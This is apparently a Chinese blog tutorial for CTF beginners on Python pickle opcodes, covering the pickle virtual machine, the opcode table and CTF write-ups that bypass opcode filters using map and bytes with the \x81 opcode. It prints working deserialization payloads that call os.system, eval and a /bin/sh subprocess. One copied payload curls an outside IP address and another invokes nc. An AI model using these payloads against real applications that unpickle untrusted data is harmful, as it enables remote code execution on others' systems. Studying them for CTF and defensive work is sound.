加载中...
pickle-opcode的深入浅出(萌新向)
发表于:2024-04-23 | 分类: python
字数统计: 5.4k | 阅读时长: 24分钟 | 阅读量:

0x01 写在前面

本文所有的知识学习和理解都来自于互联网,可能有些地方理解的不是很到位,也有可能理解错误了,如果有错请各位大佬指出,我会积极更正。同时,下面一些地方会引用其他地方一些比较经典的专业术语解释和图片,来帮助加深记忆理解,如有侵权删。

(投稿被拒,扔博客备份一下😭)

0x02 前置知识

__builtin__内建模块

__builtins__ 是内建模块__builtin__中的对象,使用Python中的内建函数时会通过__builtins__引导。

__builtins__ 是对内建模块 __builtin__ 的引用,并且有如下两个方面差异:

在主模块中,即没有被其他文件导入。__builtins__是对 __builtin__ 本身的引用,两者是相同的。

dir(__builtins__)可以查看python所有的内置函数,sys.modules中也存储了对应相应的内置模块和引用模块。也可以直接去builtins.py源文件查看有哪些函数。

漏洞点

pickle简介

下面的知识需要自己有个比较熟悉的记忆和理解,这样有助于后面题目分析时能更快上手,同时理解opcode也更加得心应手!

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)

PVM 由三部分组成:

  • 1、指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回
  • 2、stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象
  • 3、memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

PS:注意下 stack、memo 的实现方式,方便理解下面的指令。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

六个版本差异总结:
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新,不同版本中得到的opcode不同。
pickle可以向下兼容,v0 版协议是原始的“人类可读”协议
但直到 python3.9 默认使用的仍为 Protocol 4
2
同时,我们需要理解到位的是,pickle的解析能力是远远大于它的生成能力的,这也是为什么我们需要去学习如何手写opcode,自动生成的过于死板,我们自己手动写的pickle可以更加灵活多样,所以能够做更多的事情。
3

opcodes大全(Python3.9)

# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

分析手法

可以去pickle.py可以找到所有的opcode操作码,Ctrl点击对应的操作码,可以找到所有被引用的地方,选择有dispatch字样的地方跟进去,这就是对应opcode详细的调用流程,直接审计源码,可以帮助我们更加清晰理解其中opcode的详细操作过程,加深记忆。

4

5

6

还可以使用pickletools对流程进行分析,他可以将每一步干了些什么都详细的列举出来,非常具象化,可以帮助记忆理解,如下一个pickle例子所示:

handwrite=b'''cbuiltins  
map  
p0  
(cos  
system  
(Vdir  
ttp1  
\\x81p2  
0cbuiltins  
bytes  
(g2  
t\\x81.'''  
\# print(pickle.loads(handwrite))  
print(pickletools.dis(handwrite))

输出:

7

opcode详解

data loading

8

handwrite=b'I123\n.'
handwrite=b"S'123'\n."
handwrite=b'Vfo\u006f\n.'
print(pickle.loads(handwrite))

stack/memo manipulation(操纵)

9

List, dict, tuple manipulation

10
似乎不能上传gif,就不能看到动图理解了,这里放个链接吧:
gif链接

handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nl."
handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nt."
handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nVvalue\nd."
handwrite=b"(S'key1'\nS'value1'\nS'key2'\nS'value2'\ndS'addkey3'\nS'addvalue3'\ns."
print(pickle.loads(handwrite))

object loading

11
gif动图链接

# handwrite=b"cos\nsystem\n."
# handwrite=b"cos\nsystem\n(S'calc'\ntR."
handwrite=b"c__builtin__\nopen\np0\n(S'test'\np1\nS'rb'\np2\ntp3\nRp4\n."
# handwrite=b"cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n."
print(pickletools.dis(handwrite))
print(pickle.loads(handwrite))

上述opcode总结

引用一位大师傅写的opcode详细总结

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

使用opcode的一些限制

12

opcode手写技巧

1、最后一定要加点**'.'**,这个是pickle反序列化流终止标识符,可以终止pickle反序列化。

2、最基础的模式:
c<module>

<callable>

(<args>

tR

3、前置流需要保持前面的堆栈为空。

4、插入流需要保持堆栈的干净,同时使用memo来存储。

5、只有模块最顶层的调用项是可以被GLOBAL使用的。

6、生成一个对象可以p一下,每一个参数可以p一下,最后生成列表或者元祖或者其他可以p一下,最后R执行的时候也可以p一下,然后换行结束,例子:b"c__builtin__\nopen\np0\n(S'test'\np1\nS'rb'\np2\ntp3\nRp4\n."

7、有了memo可以让编写程序变得更加方便,我们可以灵活运用p和g关键字,px\\n代表将将当前栈顶元素存储到memo的第x个位置;gx\\n代表从memo第x个位置取回元素到当前栈顶。

8、有时ban了对应关键字不能使用S可以用V代替,使用unicode编码绕过。

9、不用环境自己import对于模块我们才能调用它的函数,可以通过c操作码引入对应模块。

10、对于'('操作码引入元祖,你opcode书写的顺序,就是t弹出栈之后引入到元祖里面的顺序,先写的会排在前面。

不同系统下面生成的opcode可能会不一样,例如一些opcode导入的是一个nt模块,这是因为是在win下生成的,linux系统是posix模块,所以拿去linux下进行反序列化的话就会报错。
编写opcode 通过 __builtin__.__import__ 函数导入 os 模块就可以避免这种局限性。

#python pker.py < 1.txt
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))

map的奇淫技巧(确实神奇)

Python:map()函数使用详解
map(function, iterable, ...)
作用:该函数通过接收一个函数function作为处理函数,然后接收一个参数序列iterable,并使用处理函数对序列中的每个元素逐一处理,达到映射的功能。(注意:map函数本身是惰性计算的,因此返回的结果并不是真实结果,而是一个需要被显示迭代的迭代器,可用隐式遍历的方法来强制遍历map作用的序列,从而得出输出结果。直白点说,可以吧map作用后的结果转换为list等类型进行输出。)

a=[1,2,3]
b=map(lambda x:x**2+1,a)
print(b)
c=list(b)
print(c)

13

0x03 实战分析

code-breaking

下面这个是关于从builtins.globals中获取builtins对象的详细操作码。
一共需要三种操作:1、获取dict.get对象 2、获取globals字典对象 3、获取字符串’builtins’
总结就是dict.get(builtins.globals,'builtins')
第一步较为繁琐,是通过builtins.getattr(builtins.dict,’get’)来获取dict.get函数对象。
第二步直接通过builtins.globals()无参直接获取全部上下文的属性和对象。
第三部最简单,直接S’builtins’获取字符串即可。

//dict.get(builtins.globals,'builtins')
b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntRp0\n(cbuiltins\nglobals\n(tRS'builtins'\ntR."
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

通过上面的手法我们获取了builtins对象,然后在通过builtins.getattr(builtins,'eval')就可以获取到eval函数对象!

//builtins.getattr(builtins,'eval')=builtins.getattr(dict.get(builtins.globals,'builtins'),'eval')
b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tRp0
(cbuiltins
globals
(tRp1
S'builtins'
tRp2
cbuiltins
getattr
(g2
S'eval'
tRp3
(S'__import__("os").system("whoami")'
tRp4
.'''
--------------------
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

美团ctf2022-easypickle

\x81操作码

14
关于\x81操作码的源码,可以很清楚的看到,先传入一个可迭代的参数序列args,然后传入一个类cls
args例子:(exec,['print(1)'])、(os.system,['whoami']))、(eval,('print(1)',))
cls例子:map、bytes

理解与运用

这一题跟蓝帽杯那一题一样,同样是ban了R、i、o、b这四个操作码,不过前面帮助我们替换了一些关键词进行绕过,有点良心,不过我们还是需要寻找方法得到可用函数绕过关键词的过滤。
主要的trick就是使用map方法:map(func,iters…)来执行函数操作。
还有就是利用了opcode ‘\x81’ # build object by applying cls.__new__ to argtuple
和R是同理的,先从栈上pop出参数args,再从栈上pop出类名cls–>然后调用cls类的__new__方法 参数为args,此时我们只需要找到一个类的__new__方法是我们可以利用的即可。
总结就是:

map.__new__(map,exec,['print(1)'])
list(map.__new__(map,eval,['print(1)']))
list(map.__new__(map,eval,['__import__("os").system("nc 127.0.0.1 9999")']))
bytes.__new__(bytes,map.__new__(map,eval,['print(1)']))
bytes.__new__(bytes,map.__new__(map,__import__('os').system,['whoami']))
bytes.__new__(bytes,map.__new__(map,eval,('print(1)',)))

注意:需要有隐式遍历才有输出结果,如下所示。最后传入的参数应该是要可迭代参数,不能单单是字符串啥的!
15

稍稍解释一下下面的payload是怎么一回事
1、首先利用builtins生成map对象,同时p0存入memo,然后0弹出栈;
2、然后(mark元祖开始,存入指令,t弹出mark之后的组成元祖,p1存入memo,0弹出栈;
3、(mark元祖开始标志,c操作码引入os.system函数,g1取出memo位置为1的结果即上面p1存入的命令,t全部弹出组成元祖即(os.system,(‘cmd’,)),然后p2存入memo,0弹出栈
4、g0取出map对象,g2取出上一步形成的(os.system,(‘cmd’,)),然后使用\x81操作码利用__new__魔术方法进行函数执行,这里不能换行!猜测他执行map(os.system,(‘cmd’,))会自动将自身传入__new__魔术方法,然后执行map.new(map,os.system,(‘cmd’,)),p3存入memo,0弹出栈;(关于\x81操作码,可以去看看pickle源码,比较清晰!)
5、c操作码从builtins引入bytes对象,p4存入memo,(mark元祖开始,g3取出上一步的map.new(map,os.system,(‘cmd’,)),t弹出组成元祖,\x81调用__new__魔术方法即bytes.(bytes,map.new(map,os.system,(‘cmd’,))),最后pickle流结束标志符’.’标志反序列化到此结束!

#搬运他人的
#bytes.__new__(bytes,map.__new__(map,os.system,('print(1)',)))
opcode = b'''c__builtin__
map
p0
0(S'curl http://119.91.199.135:1000'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

#自己手写了一份
#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))
b'''cbuiltins
map
p0
(cos
system
(Vdir
ttp1
\x81p2
0cbuiltins
bytes
(g2
t\x81.'''

下面贴一个蓝帽杯file_session的官方opcode

b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."
-------------------------------------------------------------------
b= b'''c__builtin__  
map   		# 导入 __builtin__.map并push至栈顶
p0 		# 将栈顶元素放入memo
0(]S'print(1111)'   # 丢弃栈顶第一个元素(class map) 栈顶push一个mark  stack上push一个空list stack上push一个string 'print(1111)'
ap1  		# 弹出栈顶对象字符串 将现有栈顶对象空列表append弹出的字符串 将栈顶对象对应memo键1的值
0](c__builtin__      # 丢弃栈顶元素 push一个空list 向栈顶push一个mark
exec  		# 导入 __builtin__.exec并push至栈顶
g1   		# 从memo获取键1对应的值(字符串 print(1111)) 并push至栈顶
ep2  		# self.metastack pop出一个对象 该对象extend self.stack后替换现有的self.stack
0g0
g2
\x81p3		#实例化新对象 map
0c__builtin__
bytes
p4
g3
\x81
.'''

变量覆盖(call __setstate__ or __dict__.update())

主要就是通过s操作码进行dict的更新插入。
首先是获取到模块下的属性,然后按键值对的顺序一个个查询即可,
每插入一对键值,就可以进行s操作码的更新。
最后就是b操作去**call__setstate__ or __dict__.update()**函数方法进行值的覆盖。

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

0x04 参考

BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

Python pickle 反序列化实例分析

Code-Breaking中的两个Python沙箱

pickle源码大宝典-ForMe

[【2022蓝帽杯】file_session && 浅入opcode](

上一篇:
我的大学-毕业季
下一篇:
天权信安&catf1ag网络安全联合公开赛WriteUp
本文目录
本文目录